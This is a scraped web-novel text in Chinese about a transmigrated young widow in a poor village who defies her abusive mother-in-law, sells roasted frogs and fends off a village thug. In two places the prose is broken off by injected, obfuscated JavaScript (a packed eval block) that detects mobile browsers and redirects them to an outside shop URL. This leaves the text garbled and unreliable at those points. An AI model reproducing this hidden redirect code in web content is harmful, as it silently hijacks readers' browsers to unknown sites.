重生穿越和投胎一样,是门技术活,别人落地是贵族豪门世家,她落地是穷乡僻壤鸟不拉屎。没有金手指没有系统,也没有资产阶级的爹。比怨气,再猛的鬼也不及她十分之一。 当夜陈家人都睡了,屋里昏沉沉的,苏棠找了个草扎的蒲团一屁股坐下去,百无聊赖地往火盆里添黄纸,一摞一摞地添,火越烧越小,烟越烧越多。 她被烟呛得连打了几个喷嚏,于是停止了手上的动作,双手抱住膝盖,把头侧放在上面,双眼看向墙上闪烁的光影。 恶婆婆把她牛马使,劈柴扫地喂鸡,一个人当三个用。如果她没穿越,这会儿应该已经找到了工作,在整顿职场了,噢不对,是在给公司老板当牛马。横竖都是牛马,五十步笑百步,这么一想,心态平和许多。当一天和尚撞一天钟,当一天媳妇烧一天纸,人活着嘛最重要就是经常保持内心的peace。 一面神游一面打盹儿,后半夜睡熟了身体没支撑住,往前一扑,差点栽进火盆里。火盆早烧灭了,只灰烬下面还藏着奄奄一息的火星子。 被惊醒了,四周乌漆嘛黑。她身子往后退两步,暗自庆幸:“差一点儿,差一点儿,老天保佑。” 夜晚气温低,苏棠拢紧衣服,往灰盆里连铺了几张黄纸,但没点燃。手头也没发现火柴打火机之类。灶房应该有,但陈家晚上做完饭会锁好灶门,钥匙钱桂香随身携带。 我就不信点不着! 苏棠猛用力去吹,一层灰屑被吹起来,扬了她一脸一身。这法子还挺管用,最底下的纸似乎有要燃起来的态势,苏棠捂住口鼻继续用手乱扇,扇得到处又是烟又是灰。 还点不着。她就用火钳去拨,左一翻来又一翻去,弄得满屋子又是烟又是灰。终于翻出藏在最深处的火种,一阵热烟往上涌。 突然火光照在苏棠脸上,苏棠点火成功。她兴奋极了,当成生日蜡烛猛地一吹,几片火星飘到纸扎灵堂上—— 嘿,燃起来了! 五更天,钱桂香不是被鸡鸣叫醒的,而是被一阵烟呛醒的。 “咳咳咳......咳咳咳......” 走到堂屋一看,屋子空旷了,灵堂没了,只剩摊在哪儿泡湿的黑灰屑。 苏棠救完火,给自己蒸了两个馒头吃,现在正哼哧呼哧用大扫把清理现场,看到钱桂香,便甩了甩袖子擦一擦脏兮兮的脸,露出一口大白牙:“还好我抢救及时,你儿子遗像还在,嘿嘿。” 看到被烧焦了半边角的相框,钱桂香两眼一抹黑。 对于这一切,苏棠丝毫不觉得愧疚。钱桂香罪有应得,把童养媳不当人,自家儿子都病得活不了几天,还让好好的大活人和她儿子圆房冲喜,这不是害人一辈子吗。原身刚一断气,钱桂香就巴巴儿地拉神婆来家里给她合冥婚。 遇到发疯的大学生,算你倒霉啦。 “哎哟,耀祖,我的儿啊,都怪你媳妇啊!” 钱桂香的心在滴血,想拿刀砍了林苏棠的心都有,但她手还没扬起来,林苏棠就撒脚丫子跑出了院门。 钱桂香因为上次追她出院门那事,已经给村里人落下话柄了,这次吸取了教训,不去追她。打又打不到,留在家又觉得碍眼,索性决定让她去牛棚。 她板起脸走到门边,扔给林苏棠一小袋玉米棒子:“这几天家里牛没人看着,你正好没事,就去放牛吧。” 牛棚哪是那么好待的,她要让林苏棠知道,除了陈家,她再没地方去。 放牛?苏棠无语,一袋玉米就想打发了她。 转念一想,除了陈家她此刻去哪儿都不合适。原主被送到陈家前一刻,林老太就说嫁出去的女儿泼出去的水,把苏棠房间腾出来给小孙子住了。 此时此刻,她也打出一张感情牌:“人敬我一尺,我敬人一丈。婆婆,你就不能对我好点吗?以后我挣了大钱你也能沾光是不是?家里这么大,多我一口饭吃也穷不了吧?我以后一定痛改前非好好干活儿,把家务干好。” 钱桂香两手叉腰:“你只吃一口饭?我可是看你吃了一碗又一碗,吃得比谁都多。你只会把米吃贵!至于干活儿,那就更甭提了,弄得家里乌烟瘴气。烧了我家东西,还有了功劳?”今天说什么都要把人赶出去,她相信大媳妇一定还会哭着回来求她要去首都。 苏棠伸出手保证:“世界上没有无缘无故的爱,也没有无缘无故的恨,我以后一定改行不行。婆婆你给我一次机会,我要是不听话,你再赶我走也不迟。”她只是偶尔有点清澈的愚蠢,又不是真的混不吝。大学生嘛,此一时彼一时,形势所迫,跪着要饭也不磕碜,好死不如赖活着。 儿媳妇又和以前一样低三下四,钱桂香更觉得自己这个做法很对,梗着脖子趾高气扬起来:“今天说什么你都得去牛棚!”她今天就要给她个怕处,不然她还当真不知道自己有几斤几两要翻了天。 苏棠说:“我是个知恩图报的人,谁对我好,我就加倍对谁好。谁对我不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055193|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我就在心里给她判死刑。俗话说的好,三十年河东三十年河西,往后的路还长。做人留一线,日后好相见。婆婆你说是不是这个理儿。” 日落西山你不陪,东山再起你是谁? 钱桂香冷哼一声:“人这辈子的命都分三六九等,你是什么人,就是什么命。咱们这有句老话,女孩儿都是菜籽命,撒到哪儿就是哪儿,落到肥处迎风长,落到瘦处苦一生。你去牛棚里好好反省反省,离了陈家,你什么都不是。” “呸呸呸,我还当狗嘴里能吐出什么象牙,真是癞蛤蟆趴腿上——恶心死人了。钱桂香,去你的菜籽命,天高海阔任我飞,本姑娘有手有脚想去哪儿就去哪儿。”苏棠拉下脸白当了回孙子,让钱桂香蹬鼻子上脸了。语言输出虽然不会产生实质伤害,但任由对方一直输出未免太窝囊。狗咬了我一口,我就给它两脚,咬都咬了当然不能白咬。 钱桂香听了很不爽,沉着脸,一袋玉米棒子往外一扔,把人推出院门:“我不和你说,你舌头有八丈长!今晚就滚去牛棚住着吧,以后就在那边放牛,别回来了。”她就不信了,做婆婆的还能让媳妇压一头。 苏棠:“诶诶诶?就这么点吃的啊,你就不怕我饿死?再多给点呗。” 钱桂香:“那你别吃了,都给我拿回来。”说完“砰”地关上门,死在外头那就跟她没关系了。 好好好。 放牛是吧。 我一定给你好好放。 就这样苏棠拎着一小袋玉米棒子,嘴里哼着小曲儿去了陈家的牛棚,路过的狗她都想踹两脚。 她有一点好,就是从不不内耗。现在已经是最坏的处境,还能有比这更糟的吗?苏棠一直相信,人在谷底的时候,怎么走都是向上走。 加油,林苏棠! 晚上林苏棠守灵的时候,陈杏和陈苗两姐妹躲在被窝说悄悄话,以前林苏棠也住这间屋,和陈家姐妹挤在一起睡。因为要和陈耀祖圆房冲喜,这两天才搬到陈耀祖房里,但没到圆房那步,陈耀祖死了,苏棠便一个人睡到了陈耀祖原先的房间里。所以现在陈家双胞胎姐妹睡在一块儿,说话也不用背着人,关系反而更亲密了。 陈苗说:“三姐,我终于想通了妈为什么突然这么纵着大嫂了。” 陈杏问:“为什么?” 陈苗说:“家里没钱,没钱就不能上学,妈是想让大嫂去首都打工,给咱家挣钱攒学费。所以这几天大嫂怎么折腾,妈都不管她。” 陈杏听话都是左耳进右耳出,不爱动脑,问了句:“你怎么知道的,妈又没和你说。” “你吃饭的时候没听到吗,妈让大嫂去打工,爹也让大嫂去打工,大嫂不同意,妈才气得要用鞋底抽她。还不是因为家里没钱交学费了。” 陈苗也是晚上吃饭时才听懂的,她平时不爱说话,但心比针还细,不说话的时候一般都是在听人话和观察人。 陈杏也想起来了晚饭时候的事,苦着脸叹气道:“原来是这样啊,那大嫂不去挣钱,咱们家就吃不着肉了。” 陈苗轻轻推了她一下:“你先别说吃肉了,咱们开学的学费都不知道怎么办呢,不上学的话就要像大嫂一样天天在家干活了。你难道不想继续上学吗?” 陈杏想了想:“上学多好啊,在学校没人管,想怎么玩儿就怎么玩儿。等考上了高中,走到哪儿都有人夸。” 陈苗从被窝爬起来,赤着脚从陈杏身边跨过去,走到床边,看了看漆黑夜里天边的月亮:“我听说上大学才好呢,上了大学就分配工作,走到哪儿都高人一等,肉想怎么吃就怎么吃,想怎么玩儿就怎么玩儿。妈还不敢骂你。” 陈杏一听,还有这好事儿?眼睛都亮了:“我要上大学!” 陈苗立刻给她泼了盆冷水:“可是咱家没钱,二哥读书把家里都读穷了,妈哪有钱让咱们两个女孩儿读书。咱们只怕以后过不上什么好日子了。” 陈杏说:“要是大嫂去打工,咱们家就有钱了。” 陈苗说:“你看大嫂像是要去打工的样子吗?咱们的命怎么就这么苦。” 两人又聊了一会儿,各自朦胧睡去。 五更天,天就要亮了,双胞胎姐妹被钱桂香的叫骂声吵醒了。 陈苗睁开眼躺在被子里,不知是说给自己听还是说给陈杏听:“都怪大嫂这两天把家里弄得不安生了,她要是答应了妈的话哪还有那么多事,而且咱们也能上学了。” 陈杏将被子一推,穿好衣服,气鼓鼓跳下床,将鞋往脚上一套:“我去和大嫂说!” 陈苗没再说话,也默默地起床穿好衣服。 这边林苏棠前脚刚出院门,陈杏突然从身后叫住了她。 7. 07 “大嫂,你等一下,我有话和你说。” 林苏棠停下脚步,回头就见到陈杏往她跟前凑,她微眯眼听陈杏开口。 “大嫂,你能不能替我们考虑一下,你不出去挣钱,我们怎么考大学啊?你不要这么自私好不好。”明明前几天大嫂还好好的给家里做事,妈让她往东她就不敢往西,让她们兄弟姐妹都吃饱穿暖不用干活,为什么现在死活不愿意了呢?她怎么突然就变成这样了。 “哦?是吗。” 林苏棠露出一个天真无邪的笑容,阳光落在她脸上,明媚璀璨,漆黑的眼底却有一丝冷意闪过。 她居高临下盯着她。 陈杏却觉得这样的笑很瘆人,隐约有种不好的预感。 还没来得及后退,下一秒,脸上便火辣辣的挨了一巴掌。 “我好心和你说话,你凭什么打我!”陈杏捂住脸。 林苏棠知道凭陈杏的脑子绝想不出这么多话,一定是陈苗挑唆她来的。一抬头,果然看到陈苗的两根羊角辫悄悄藏进了破旧的院墙。 “陈杏,我是该夸你聪明呢,还是该说你蠢呢?之前是我爱护你们年幼,帮你们承担了太多,你和你妹妹陈苗在家里才能像小姐一样十指不沾阳春水,你这蠢猪还真以为我欠你们的啊?以后你们俩姐妹自求多福吧。你想读大学,应该找你妈去,别来我跟前现世。” 教训完了陈杏,苏棠一面为生计发愁,一面继续往去牛棚的路上走,远远迎面撞上个人,正是陈家老二陈武。 苏棠抬头挺胸,一头浓密乌黑的长发大喇喇蔓至细腰,朝晖从天穹洒下,将她整个人笼在光泽之中。可能是这两天吃饱饭的缘故,此刻周身流转着暖意,小脸蛋儿两边各有一抹极浅的红。 在早晨微凉的空气里,这样一个伶仃瘦骨的外形,身上的衣服雪白,一张小脸也雪白,配上中和了面部媚气的笨重齐刘海,倔强地拎一袋玉米棒子,像极了青春伤痛文学里的女主——乡村版。当然,如果此刻她的白眼没翻到天上去的话。 狭路相逢,林苏棠看到了却当做没看到,笔直从陈武旁边走过。 擦肩而过那刻,陈武向她打了声招呼:“大嫂。” 林苏棠不知道他从哪里冒出来,也不想知道,语气不耐烦地问:“有事?”陈家其他小鬼她可以上手打,但眼前这个比她高比他力气大,真动起手来吃亏的是她自己。 陈武半天不开口,林苏棠莫名其妙地看了他一眼:“有话快说,忙着呢,没事就别挡道。” 空气又安静了几秒。 陈武是村里少有几个会读书的男生,又有着不错的身高,同村还有学校不少女生都对他有好感。他自认为算得上文质彬彬的绅士,可苏棠的坏语气使他听得皱眉,即便如此,他依然保持着良好的风度。 他杵在苏棠面前,目光落向她扑闪的眼睫,嘴唇动了动:“大嫂,你的心意其实都知道。我们同在一个屋檐下,其实我什么都清楚。” 你知道,你知道什么?你知道个屁。 苏棠一脸不耐烦:“你到底想说什么。”什么心意不心意的,她只对帅哥有兴趣,对这种中不溜秋的普男完全无感。 陈武的脸藏在背光的阴影里,低头咬着牙道:“大嫂,你就答应妈吧,家里实在拿不出这么多钱了......”没有钱,他可能会没有心思读书,弟弟妹妹也不能上学,这个家将永无翻身之地。陈武很少和人这样说软话,他觉得自己此刻已经够低三下四的了,一方面是因为有求于她,另一方面是因为他对大嫂也有说不清道不明的感觉,他没法形容这种感受。 林苏棠心中冷笑,为了劝她外出打工给他们一家子当血包,陈家人轮番上阵了。就连陈家这个年龄最大的白眼狼也出马了。 她面露鄙夷地问:“为什么?凭什么?你配吗?” 陈武一愣,大嫂这是还在怨他。 “其实,其实我一直也对你有意思。大嫂,你给我挣学费,我以后一定会报答你的。” 他认为夫妻之间本就要举案齐眉,今天她成就他,以后他守护她,这是一件很罗曼蒂克的事情。虽然目前他们还不是夫妻,但他愿意为以后做好准备,不在乎别人的流言蜚语,他将来一定要娶自己的寡嫂。虽然那时他已经是大学生了,而大嫂没读过书,但他想自己一定不会嫌弃她。若以前他还有身份和差距的顾虑,现在都没有了。他自以为的爱情让他觉得自己的人格比以往都要高尚。 这是告白吗? 好高高在上的施舍啊。 林苏棠忍者恶心,好奇问道:“你怎么报答我?” 原作里的陈武是陈家最有能力帮扶原主的人,大学一毕业便进了机关单位,吃尽了时代的红利,靠着改开的风口,他官运亨通,财源滚滚。可他有记起这个靠打工供他衣食无忧念完大学的寡嫂吗?原作里陈武的报答是什么?是把大嫂留在乡下伺候公婆到四十五岁,然后又让他去他省城家里干保姆一直干到六十岁吗? “你昨天,昨天说想要改嫁,等我读出来了,我会和你在一起,娶你。” 此话说完,陈武立刻涨红了脸,他昨晚考虑了一晚上,他来就是要告诉她,自己也对她也有意思,她只要答应给他凑学费,自己以后一定会报答她的。 娶她? 这是什么天降的恩赐? 高高在上的施舍? 为什么有人画饼也能画得这么恶心? 看过原作的苏棠记得书中有提到过原主对陈武有好感,她愿意去打工,的确有很大原因是因为暗中爱慕小叔子,她希望自己喜欢的人过得好,飞得高。不过也可以理解,原主进入陈家时只有十岁,随着年龄的增长,总会生出少女情怀。小丈夫陈耀祖是个残废,但家里的小叔子身体健康正常,又和自己同龄,平时她忙着干活能接触的同龄异性不多。于是说不清道不明地喜欢上了小叔子陈武。 有人说,爱人就像是将一把刀的手柄交给对方,爱对了人他会将刀锋内向,爱错人他会刀锋向你,伤害都是我们赋予了他们伤害的权力。 不过她确实不记得书中还有陈武“告白”这一幕。 原主这个傻姑娘她都不用别人PUA,她自己会自动攻略自己。可林苏棠只会觉得自己的耳朵遭到了污染,她掏了掏耳朵,看傻逼一样看着他:“你是否有很多误会?我,不,喜,欢,你。” “要怎样你才能消气。” 陈武身形一踉跄,觉得大嫂还是在怨自己,“这些年来,你的付出我都看在眼里,我知道你为家里做了很多力所能及的事情。可是家里条件不好,弟弟妹妹又小,妈只是压力太大了,才会有时候那你出气,你别放在心上。” 她怎么会不喜欢自己呢,这么多年,同在一个屋檐下,他太了解她了。不然他今天也不会破天荒地和她坦白交心。 苏棠觉得陈武虚伪无耻至极。他并不是什么都不知道,但任由这一切发生,他一直毫无负担地享受原主的好,所以才能轻轻松松说出这样的话。他那是对原主有好感吗。他只是想心安理得地吸原主的血。 “感觉你已经彻底疯了,你这辈子也就这点出息了。以前的事可能让你有什么误会,但我现在可以明确地告诉你,我是不会喜欢你的,你死了这条心吧。”苏棠又掏了掏耳朵,平静回给他一个看傻子的眼神。 陈武已经十六了,只比原主小一岁,如果是陈杏陈苗陈天赐,林苏棠还可以给他们教育教育,但对于陈武,她实在懒得多费口舌了。 她转身就走,却被陈武抓住了手腕。 “为什么?你以前不是这样子的。”陈武语气充满受伤。 “你干嘛?”苏棠警惕地用力甩开他的手,“你再这样我告你耍流氓!” 陈武局促地收回手:“我只是,只是想要一个理由。你真的,真的不喜欢我吗?” 林苏棠淡淡吐出几个字:“我看不上你。” 这几个字像刀一样一刀一刀扎进陈武的心脏,他觉得内心好像有一块角落崩塌了。 林苏棠翻了个白眼,转身直接走了。 天还没黑,林苏棠拎着一袋玉米棒子在村里瞎转悠,正好撞到了几个男孩儿欺负一个小女孩。看样子是一群小学生。 “你没有爹,你是个野丫头。” “呜呜呜,可我有我妈。”小女孩被推倒在地,坐在地上哭。 几个调皮的男孩还不罢休,伸脚要去踢她,小女孩吓得缩成一团。 “住手!”林苏棠抄起路边的树杆子冲过去,她最恨恃强凌弱,以多欺少。 “你是谁?”男孩们停住脚上的动作,抬头见是个比他们大点儿的女人,齐齐说道“你少管闲事。” “我是谁,我是你们的姑奶奶!”林苏棠扬起手上棍子,劈头盖脸挥去。小男孩们立刻作鸟兽散。 这个年纪的小男孩儿最混不吝,一副天不怕地不怕的样子,给点狠头就怂得跟瘟鸡一样。 “你没事吧,小妹妹。” 苏棠走过去扶起来小女孩,替她拍了拍身上的灰,觉得有些眼熟,但一时又想不起来这是谁家孩子。 小女孩一双黑葡萄般的大眼睛盯住她,睫毛乌黑浓密,眼眶蓄着泪,摇摇头小声回答:“我没事,谢谢姐姐。” 小女孩看起来只有五六岁的样子,干净又白皙,小脸粉扑扑的,声音特别奶,可爱得让人心都要融化。 “好有礼貌的小朋友。”苏棠蹲下,摸了摸她的头说,“以后再有人欺负你你就打回去,打不过就跑回家,让妈妈保护你。” “嗯。”小女孩似懂非懂地点头,乖得像小兔子一样。 “你是谁家的小朋友啊,你妈妈呢?”苏棠问。 “妈妈干活了。”小女孩答。 “星星,星星,死丫头你又死哪儿去了。”不远处突然传来高亢的叫喊声。 小女孩听到这声音,像受惊的小猫一样丢下句:“姐姐再见”便撒腿跑了。 “奶奶,星星在这里。”小女孩奶声奶气地应着,声音带着细微的颤抖。 “你这死孩子,真不让人省心。” 林苏棠目送小女孩消失在拐角处,发现那正是原主娘家林家的破院子。 她中午正要去村头河滩上抓青蛙烤着吃,刚好路过林家,这时她想了起来,刚刚的小女孩是原主四姑林良娣的女儿林星星。 原书中林星星好像因为一场病被夺去了生命,没活到十岁就离世了,她的母亲林良娣也一生坎坷。女儿去世后她伤心过度,最后离开了西河头村。林家所有人里,四姑林良娣对原主最好,但原主因为某些原因和这个四姑并不亲近。 林家院门虚掩,苏棠路过时听到里面传出的说话声。 “良娣啊,不是妈说你,你那工作就让给你大嫂呗,你大嫂孩子要上高中了家里困难。她身体不好做不得重事,你这工作最适合她了。” “妈,学校食堂打饭的工作也很辛苦,学生一下学,乌泱泱的人,要手脚特别利落。而且,工作给了她,我和星星吃什么用什么。” “丫头片子好养活,你有力气,在家种地,地里天天有菜吃,这个你不用担心。” “妈,你就不能多为我考虑考虑。” “我怎么不为你考虑,都给你说了多少个男人了,你就是不肯。你都守寡好几年了,一直这样下去也不是个事儿。” 林苏棠不想插手林家的事,多一事不如少一事,她脚步放慢走到了河滩上。 河滩不大,旁边长着几丛稀疏的芦苇,今年六月水位退了不少,许多小石子裸露在外。好多天没下雨,原先的湿泥巴被烘干了,用脚踩也不会有泥浆沾脚。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055194|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏棠把手里的玉米放在岸边,搬起一块大石头,循着青蛙声到处找。 这些小家伙都躲在石缝的阴凉处,太小个的吃起来没肉,苏棠不去管它。她专找叫声最响亮个头最大的蛙。 苏棠的脚轻轻踩在微软的泥巴地里,弯起腰一双大眼睛到处寻,走了十几步发现脚下有个大东西眼皮一掀一掀的,她用手上石头一砸,发出闷响,一滩血从石头下析出来。 她今天交了好运,不一会儿功夫就砸死三只牛蛙。 “二妮,你到底想要干啥?”余斐斐担心的望着爷奶屋子的方向,生怕爷奶醒来看到厨屋的光亮。 一只,两只,三只,她拎起几条蛙腿,就着河滩的水把它们洗干净,利索地剥了皮。 没穿进来之前,苏棠家是个体户,爸妈经营着一家烧烤店,全靠通宵营业把她和哥哥供到大学。虽然累,但一年下来也有十几二十万赚头。龙生龙,凤生凤,烧烤店老板的儿女会串烧烤。苏棠和哥哥放寒暑假也会在店里帮忙,充当一个短工,这样就给爸妈剩了个把月的用人成本。长期下来,她也锻炼了一套制作烧烤的熟练手法。区区牛蛙,不在话下。 准备好食材后,她用一个玉米棒找河滩附近的小孩儿家借来了菜刀和一小把盐,然后又用一个玉米棒子指使另一个小孩儿给自己挖个洞,再找点长树枝来。 准备工作就绪,她用菜刀刷刷刷几下把青蛙头剁了,用刀刃剐去外表皮的膜,发现忘了掏内脏,又把蛙肚子划开,就着旁边的河水洗干净了,均匀抹上盐巴。用树枝一根一根串起来,生火放到刚挖的洞里面烤。 还有多余的树枝,她又串起来烤了个玉米。 一会儿功夫,蛙肉的嫩香和玉米的甜香就飘了出来。 旁边的小孩儿都馋哭了。 “姐姐,你在烤什么?” “田鸡。” “田鸡和母鸡有什么区别。” “田鸡就是田里的鸡,母鸡就是家里的鸡。” 眼看烤的差不多了,苏棠尝了一口,肉很嫩,要是有辣椒就更入味了。 苏棠坐在大石头上,一个人吃了一只田鸡和一根玉米棒,她胃口小,吃完这些就饱了。 周围已经有不少小孩儿好奇地围了过来,看着她津津有味地吃着,有些嘴馋的还流了口水。 苏棠对那些小孩儿说:“都快来闻闻这肉,香不香?” 小孩儿们一起凑近来,异口同声道:“好香” 苏棠伸出一只手:“香就对了,特别好吃,还剩两只,一起五毛钱卖给你们。” 小孩儿们互相你看看我我看看你,他们身上哪有五毛钱啊,就算有五毛钱也不想买这种没吃过的东西,虽然闻起来的确挺香的。 “这么好吃的东西可只剩两只了,你们真不吃啊?”苏棠用两只手不停地扇着牛蛙,试图把肉香气扇进小孩儿们的鼻子里,略思索了片刻说,“要不这样,你们可以五个人共买两只分着吃,每人只用凑一毛钱可以了。” 此话一出,有几个小孩开始交头接耳,很快就凑齐了五个一毛钱交到苏棠手上。 苏棠把两只串起来的牛蛙交到他们手上说:“趁热了吃,保证好吃。” 这几个小孩儿每人撕一块儿,边走边吃,不断飘出的肉香算是活招牌了,又吸引了不少小孩儿过来。 有几个小朋友跑回家凑钱去了,苏棠看见他们跑得满头大汗,不好意思地说:“,小朋友们,卖完了。” 看见小孩儿们失望的眼神,苏棠顿了顿说:“姐姐还可以卖,不过你们得等我半小时,可以吗。” 村里放暑假的小孩儿都闲,愿意等。 于是苏棠又现抓了十条牛蛙来烤着卖,一下子孩子们之间都传开了,越来越多的孩子围着她要买田鸡。 一下午苏棠忙得脚不沾地,额头开始渗出细汗,最后以一毛钱一只的价格雇了几个小孩替她捉大牛蛙,小的不要。 因为挖的地洞太小了影响她发挥,她又在旁边重新挖了个大洞,并且还花了两毛钱在一个小孩儿家买了点辣椒面,制作出了新口味——麻辣味。 新口味很快就一抢而空。村里人平时不吃这东西,头一次吃到这么嫩的肉,都觉得很新鲜。配上辣椒粉一烤,味道更独特了。村里大部分人家只有过时过节才吃肉,有些小孩儿一年到头都吃不到几回肉,但家长偶尔也舍得放一分到几毛的小钱到小孩儿们的身上。 很快夕阳落山,孩子们都陆续回家了,苏棠卖完最后一只牛蛙开始收摊。一个人坐在石头上算账。一共卖了三十二只牛蛙,五毛钱两只,去除雇小孩儿捉的二十只牛蛙的工钱和两毛钱买辣椒面的钱,抹去零头,手里总共有十块钱。 她把钱叠好,放进口袋了,看了看夕阳夕下的天,心情竟格外的好。 村头上不少村民都看见林苏棠被赶出陈家,拎着小袋玉米往田埂方向走,那地儿只有个牛棚。他们又开始议论: “听说她把男人的灵堂烧了,她婆婆气不过把她赶出家门,让她住牛棚。” “我还听到她边走路便唱小曲儿,莫不是脑子不灵光。多大点事儿,跟婆婆求个情认个错,往后日子该怎么过便怎么过,何必赌这口气,到头来吃亏的还不是自己!” “一个小寡妇,长这么漂亮,又年轻气盛的,怕是在家待不住啊,可不得上外边儿野啊。” “可不是嘛,就是因为在陈家闹着要改嫁,这才被赶出门了。” “她还勾引陈家小叔子,听说小叔子今年考上的高中,我从地里回来还看到小寡妇勾着他的手拉拉扯扯。” 村里游手好闲的二流子听到这话,悄摸摸动起了歪心思,打算晚上去牛棚探探路。 当然,这些难听的话没传到苏棠耳朵里,即使听到了,苏棠也全当个屁放了。 8. 08 牛棚在田埂旁边,周围没有房屋,农村晚上没有娱乐活动,村民们天黑了都锁好门待在家里不出来。 牛栏里有一条大水牛,见到生人,在夜色里抬起黑蓝的牛眼注视,苏棠也注视着它,微笑着向它打招呼:“嗨,牛牛,你乖乖的。” 苏棠往食槽里放了根玉米棒子,牛叫了一声,低下头,不紧不慢咀嚼食物。 牛好,人坏。 紧挨牛棚,有一间破茅屋,这是苏棠今晚就寝的地方——露天星空房,抬头透过屋顶小黑窟窿可以看到天上的半边月亮。地上有一块旧门板,上面铺满稻草,幸亏苏棠在古装剧羁押罪犯的天牢里见过它的用途,不然还真得猜上半天。 袋子里总共七个玉米棒子,给牛一个,还剩好几个。苏棠白天吃太饱,晚上全然没有饿意,加之没有做饭的家什,干脆省事不吃了。 天上挂着半个朦朦的月亮,苏棠靠在牛栏上,双眼放空望天,身后老实的大水牛鼻子里发出“哼哼”声。 苏棠又从小袋子里拿出两根玉米棒子给牛啃着玩儿。 夜风刮得紧一阵,缓一阵,苏棠感到了些许冷意。 过了一会儿,苏棠在一片漆黑里伸出自己的手,从手心翻到手背。 忽然握紧了拳头。 没钱难倒英雄汉,英雄汉没钱被难倒。没钱啊,愁啊。 天下之大,何以为家啊?! 拔剑四顾心茫然,苏棠从裤口袋里摸出一把洋火,可不能让自己被负面情绪影响到。负面情绪就是这样,你越去回应它,它越跟你上纲上线。你不回应它,它就乖了。 可是负面情绪也是情绪啊,也该得到应有的照顾呀。 那就,给自己整一场烟火秀开心一下,把牛棚点了助助兴? 她的负面情绪鼓动她跃跃欲试,仿佛在说,你放火了我就高兴了。 苏棠站起来拍了拍屁股,转身打开牛栏,解下牛缰绳,把牛牵出牛栏,另一只手握住火柴。 前方小路上,村里二流子胡勇,戴着金边眼镜,摸了黑往田埂方向走。他双手抱胸,脖子前倾,平日爱吹口哨的嘴抿紧,走几步就下意识回头看。今晚,他要到牛棚去找人快活。 胡勇外号四眼瞎,戴眼镜装读书人,其实大字不识。此人为了匹配村里有文化的读书女性,特地跑县里配了一副近视眼镜,没想到戴久了再摘下,怎么都看不清人脸了,从此只好把眼镜焊在鼻子上。 白天在村里游手好闲,听说陈家的小寡妇不像话,在家成天跟婆婆对着干,还勾引小叔子,婆婆气得将人扫地出门。村里有人下午还看到小寡妇往牛棚的方向走,想必晚上要住牛棚。 都说寡妇风流,小结巴从前不声不响,成了寡妇果然变风流了,还偷起人来了。偷人嘛,偷一个是偷,两个也是偷,多他一个不多。 四眼瞎想试下勾男人的寡妇的滋味,想着小结巴狐狸精一样的脸,虽然头脑不灵光,但毕竟是个活生生的娘们,仍然不由得心里大动。憋了太久,大半夜的,有个人暖烘烘抱在一块泻火滋味可太舒坦了。 四眼瞎的金边眼睛在月光下一闪,猫着腰鬼鬼祟祟钻到了牛棚边的茅屋里,双手在黑屋子里乱摸,没摸到香香软软的娘们儿,在床板上抓了一手茅草。以为小娘们儿起夜去田里头解手去了。反正他闲着也是闲着,多等一下无所谓。夜半天亮,茅屋漏风,四眼瞎身体蜷缩在稻草上,冻得哈气搓手。没有被子,只能往身上加草保暖。 “这鸟地方真不是人住的,刮风漏风,下雨飘雨。”心里盼着那小寡妇快点解完手回来,然后他要她好看,可不能白等着。 身旁的水牛闷不吭声啃着地皮上枯草,耳边夜风呜呜的响。苏棠随身带着一把洋火。不知道是不是夜晚露水的缘故,站在冷风中划拉了好几下没划着,还拿掉了好几根。 她告诉自己。 一定要找办法脱离泥沼,不能是现在这个鸟样。 把牛棚烧了,人总得迈出第一步不是。 四眼瞎等着等着,茅屋里好像没那么冷了,还越来越暖和了。正昏昏欲睡,突然觉得越来越热—— 烧起来了! 四眼瞎鲤鱼打挺从床上跳起,抱住头往外头蹿,嘴里“哎哟哎哟”叫苦不迭。 “烧死人了呀,烧死人了呀!” 茅屋里面全是草,火呲地一下燎上去,很快就烧成势。四眼瞎跑得及时,但手臂上还是燎出一长条密密麻麻锃亮的水泡,痛得哇哇叫。 偷鸡不成蚀把米。 四眼瞎快速甩动手臂,痛得龇牙咧嘴,余光先是看到了一条大水牛,而后看到了水牛旁的人。 火光那么大,四眼瞎一下子就看到了小寡妇。 苏棠也看到了四眼瞎,突然凭空冒出个人,苏棠吓得惊声尖叫。 四眼瞎两只眼睛咕噜咕噜转,摔着痛手先发制人:“小寡妇,都是你勾引我,半夜把我约出来!我手上的烧伤都是你害得!赔钱,必须赔钱!” 火光照亮了四周田埂,风把烟灰吹得到处都是。苏棠认出这是村里的二流子,原主的记忆里他没少帮着陈书蕊欺负她。大半夜往牛棚跑,还喊她小寡妇,总不能是来放牛的吧? 苏棠冷笑:“我给你钱你敢要吗? 四眼瞎梗着脖子耍横:“你,你快给我钱!” 四眼瞎穿一身惹眼的大红牛仔裤,说着就走过来准备搜身抢钱,大晚上人来都来了,摸两把也是好的。 苏棠捡起一块石头,狠的怕横的,横的怕不要命的,心里忽生出一股天不怕地不怕的豪气。 接着苏棠手心摊出五角钱:“钱在我手里,你敢拿吗?”她就等他来抢走这五毛钱,到时候人证物资都在,治他一个抢劫勒索罪! 四眼瞎看到苏棠手上的钱笑了,这傻子还真给自己送钱来了。 随着四眼瞎靠近,苏棠身旁一直低头的大水牛忽然猛地抬起头,两根牛角把他顶上了天。 四眼瞎屁股传来一阵触电的感觉,害怕地哇哇大叫。 